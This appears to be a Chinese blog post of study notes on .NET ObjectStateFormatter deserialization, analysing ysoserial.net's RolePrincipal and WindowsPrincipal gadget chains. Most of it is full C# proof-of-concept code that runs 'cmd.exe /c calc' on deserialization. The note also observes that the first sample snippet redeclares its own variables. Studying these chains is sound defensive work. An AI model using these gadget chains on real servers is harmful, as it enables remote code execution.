ObjectStateFormatter反序列化链
前言:记录ObjectStateFormatter反序列化链的笔记
参考文章:https://xz.aliyun.com/t/9598
参考文章:https://www.anquanke.com/post/id/176664
ObjectStateFormatter
命名空间位于:System.Web.UI
ObjectStateFormatter同样用于序列化和反序列化表示对象状态的对象图。实现IFormatter、IStateFormatter。
PageStatePersister类和从其派生的类使用ObjectStateFormatter来序列化视图状态和控件状态。
从之前的学习上LosFormatter中可以知道,LosFormatter的底层反序列化其实也调用了ObjectStateFormatter,可见ObjectStateFormatter是LosFormatter的底层实现,而在ysoserial.net工具中并没有这个formatter,原因是因为在ysoserial.net工具中有这样一句话:
We don't actually need to use ObjectStateFormatter in ysoserial.net because it is the same as LosFormatter without MAC/keys
即ObjectStateFormatter和没有设置mac/keys的LosFormatter是一样的。所以在遇到ObjectStateFormatter反序列化时直接用ysoserial.net的LosFormatter生成payload即可,除非需要mac/key。
为什么ObjectStateFormatter和没有设置mac/keys的LosFormatter是一样的问题
先放着
序列化和反序列化
using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Web.UI; namespace SerializationCollection { [Serializable] class Person { private int age; private string name; public int Age { get => age; set => age = value; } public string Name { get => name; set => name = value; } public void SayHello() { Console.WriteLine("hello from SayHello"); } } class Program { static void Main(string[] args) { // 序列化的用法 Person person = new Person(); person.Age = 18; person.Name = "chiling"; FileStream file_stream = new FileStream(@"1.xml", FileMode.Create); ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter(); objectStateFormatter.Serialize(file_stream, person); file_stream.Close(); // 反序列化 FileStream file_stream = new FileStream(@"1.xml", FileMode.Open); ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter(); Person person = (Person)objectStateFormatter.Deserialize(file_stream); Console.WriteLine(person.ToString()); file_stream.Close(); } } }
RolePrincipal反序列化链
这边可以直接来看要ysoserial.net中的RolePrincipalGenerator模块
可以发现其中的数据是TextFormattingRunPropertiesGenerator生成的数据经过base64编码之后的,最后存储到System.Security.ClaimsPrincipal.Identities
这边可以继续来观察RolePrincipal的反序列化过程
这边RolePrincipal反序列化还会调用父类的反序列化过程,这边继续跟进去看,可以看到这边就触发了获取System.Security.ClaimsPrincipal.Identities类型的值
跟到this.DeserializeIdentities(info.GetString("System.Security.ClaimsPrincipal.Identities"));中就会发现最终会通过BinaryFormatter对System.Security.ClaimsPrincipal.Identities属性值进行反序列化
而这里是通过BinaryFormatter来进行反序列化的,那么将System.Security.ClaimsPrincipal.Identities的字段值替换为TextFormattingRunProperties的攻击链即可进行利用了
using Microsoft.VisualStudio.Text.Formatting; using System; using System.Collections.Generic; using System.Collections.Specialized; using System.Diagnostics; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.Serialization.Formatters.Binary; using System.Runtime.Serialization; using System.Text; using System.Threading.Tasks; using System.Web.UI; using System.Windows.Data; using System.Windows.Markup; namespace SerializationCollection { class Program { static void Main(string[] args) { TextFormattingRunPropertiesMarshal calc = new TextFormattingRunPropertiesMarshal("calc"); string b64payload; using (MemoryStream m = new MemoryStream()) { BinaryFormatter binaryFormatter = new BinaryFormatter(); binaryFormatter.Serialize(m, calc); b64payload = Convert.ToBase64String(m.ToArray()); } RolePrincipalMarshal rolePrincipalMarshal = new RolePrincipalMarshal(b64payload); ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter(); string p = objectStateFormatter.Serialize(rolePrincipalMarshal); objectStateFormatter.Deserialize(p); } } [Serializable] public class RolePrincipalMarshal : ISerializable { public RolePrincipalMarshal(string b64payload) { B64Payload = b64payload; } private string B64Payload { get; } public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(System.Web.Security.RolePrincipal)); info.AddValue("System.Security.ClaimsPrincipal.Identities", B64Payload); } } [Serializable] public class TextFormattingRunPropertiesMarshal : ISerializable { protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { } string _xaml; public void GetObjectData(SerializationInfo info, StreamingContext context) { Type typeTFRP = typeof(TextFormattingRunProperties); info.SetType(typeTFRP); info.AddValue("ForegroundBrush", _xaml); } public TextFormattingRunPropertiesMarshal(string cmd) { // ObjectDataProvider ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = $"/c {cmd}"; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p; _xaml = XamlWriter.Save(odp); } } }
成功进行命令执行,结果如下所示
WindowsPrincipal反序列化链
这边可以来看要ysoserial.net中的WindowsPrincipalGenerator模块,首先看Marshal类WindowsPrincipalMarshal,这边构造的序列化数据过程如下,可以看到只动用了m_identity字段
再来看GenericGenerator类WindowsPrincipalGenerator是如何构造这段数据的
这里可以看到生成一个WindowsIdentity对象,然后对WindowsIdentity对象中的Actor填充为ClaimsIdentity对象,最后对ClaimsIdentity对象中的BootstrapContext字段填充为TextFormattingRunProperties利用链,最后将WindowsIdentity作为m_identity字段值
而这边的填充ClaimsIdentity对象BootstrapContext字段很容易联想到分析过的ClaimsIdentityGenerator模块,自己在 https://www.cnblogs.com/zpchcbd/p/17267385.html 中进行记录过,大家感兴趣可以参考下
最终的利用代码如下所示
using Microsoft.VisualStudio.Text.Formatting; using System; using System.Collections.Generic; using System.Collections.Specialized; using System.Diagnostics; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.Serialization.Formatters.Binary; using System.Runtime.Serialization; using System.Text; using System.Threading.Tasks; using System.Web.UI; using System.Windows.Data; using System.Windows.Markup; using System.Security.Claims; using System.Security.Principal; namespace SerializationCollection { class Program { static void Main(string[] args) { WindowsIdentity currentWI = WindowsIdentity.GetCurrent(); currentWI.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc"); WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal(); obj.wi = currentWI; string v = new ObjectStateFormatter().Serialize(obj); new ObjectStateFormatter().Deserialize(v); } } [Serializable] public class WindowsPrincipalMarshal : ISerializable { public WindowsPrincipalMarshal() { } public WindowsIdentity wi { get; set; } public void GetObjectData(SerializationInfo info, StreamingContext context) { info.SetType(typeof(WindowsPrincipal)); info.AddValue("m_identity", wi); } } [Serializable] public class TextFormattingRunPropertiesMarshal : ISerializable { protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { } string _xaml; public void GetObjectData(SerializationInfo info, StreamingContext context) { Type typeTFRP = typeof(TextFormattingRunProperties); info.SetType(typeTFRP); info.AddValue("ForegroundBrush", _xaml); } public TextFormattingRunPropertiesMarshal(string cmd) { // ObjectDataProvider ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = $"/c {cmd}"; StringDictionary dict = new StringDictionary(); psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict); Process p = new Process(); p.StartInfo = psi; ObjectDataProvider odp = new ObjectDataProvider(); odp.MethodName = "Start"; odp.IsInitialLoadEnabled = false; odp.ObjectInstance = p; _xaml = XamlWriter.Save(odp); } } }
可以看到命令执行成功,结果如下所示
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY